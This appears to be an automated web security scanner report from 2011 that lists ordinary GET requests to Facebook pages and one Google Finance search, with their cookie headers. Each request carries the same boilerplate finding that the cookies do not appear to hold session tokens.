GET /ajax/reg_birthday_help.php HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /badges HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /btaylor HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /campaign/impression.php?campaign_id=137675572948107&partner_id=ehow.com&placement=activity&extra_1=http%3A%2F%2Fwww.ehow.com%2F&extra_2=US HTTP/1.1 Host: www.facebook.com Proxy-Connection: keep-alive Referer: http://www.facebook.com/plugins/activity.php?api_key=63203377906&font=arial&height=300&locale=en_US&recommendations=false&sdk=joey&site=http%3A%2F%2Fwww.ehow.com%2F&width=300 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dconstantcontact.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww.constantcontact.com%252Findex.jsp%26extra_2%3DUS; lsd=ErPUD; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; datr=8CJHTYhjyotVYfKpZ5B35lnF; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; wd=86x22
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Content-Length: 43 Content-Type: image/gif Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; expires=Fri, 04-Mar-2011 15:11:28 GMT; path=/; domain=.facebook.com; httponly X-Cnection: close Date: Wed, 02 Feb 2011 15:11:28 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /campaign/landing.php HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=8CJHTYhjyotVYfKpZ5B35lnF; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; wd=86x22; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS;
Response
HTTP/1.1 302 Found Location: http://www.facebook.com/ P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Set-Cookie: campaign_click_url=%2Fcampaign%2Flanding.php; expires=Fri, 04-Mar-2011 15:46:05 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Wed, 02 Feb 2011 15:46:05 GMT Content-Length: 0
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /careers/ HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /developers HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /directory/pages/ HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /directory/people/ HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /facebook HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /find-friends HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /help/ HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ligatt HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /mobile HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /omniture HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /orbitz HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /pages/blekko/316217594002 HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /platform HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /policy.php HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /privacy/explanation.php HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /r.php HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /recover.php HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /terms.php HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /2008/fbml HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /login.php HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /finance?q=millenium+boston&um=1&ie=UTF-8&sa=N&hl=en&tab=we HTTP/1.1 Host: www.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173272373.1294766927.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173272373.1871872.1294766927.1294766927.1294766927.1; TZ=360; SSDATA-DOMAIN=ikjREw(0:; NID=43=jYcJVEekPY61UDlxS8ZFDMCDrVXT-0pc6E2zpbKIsUemwOUvjAWjWWIv9EIlSP4j_vcfJf8hjaSfk6EmkvSSNP9VthNmi7HlRzfZoWSH10k7PN3eueZhbJrWsVPxbVNb; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>millenium boston - Google Finance Search</title> <meta name="Description" content="Get r ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
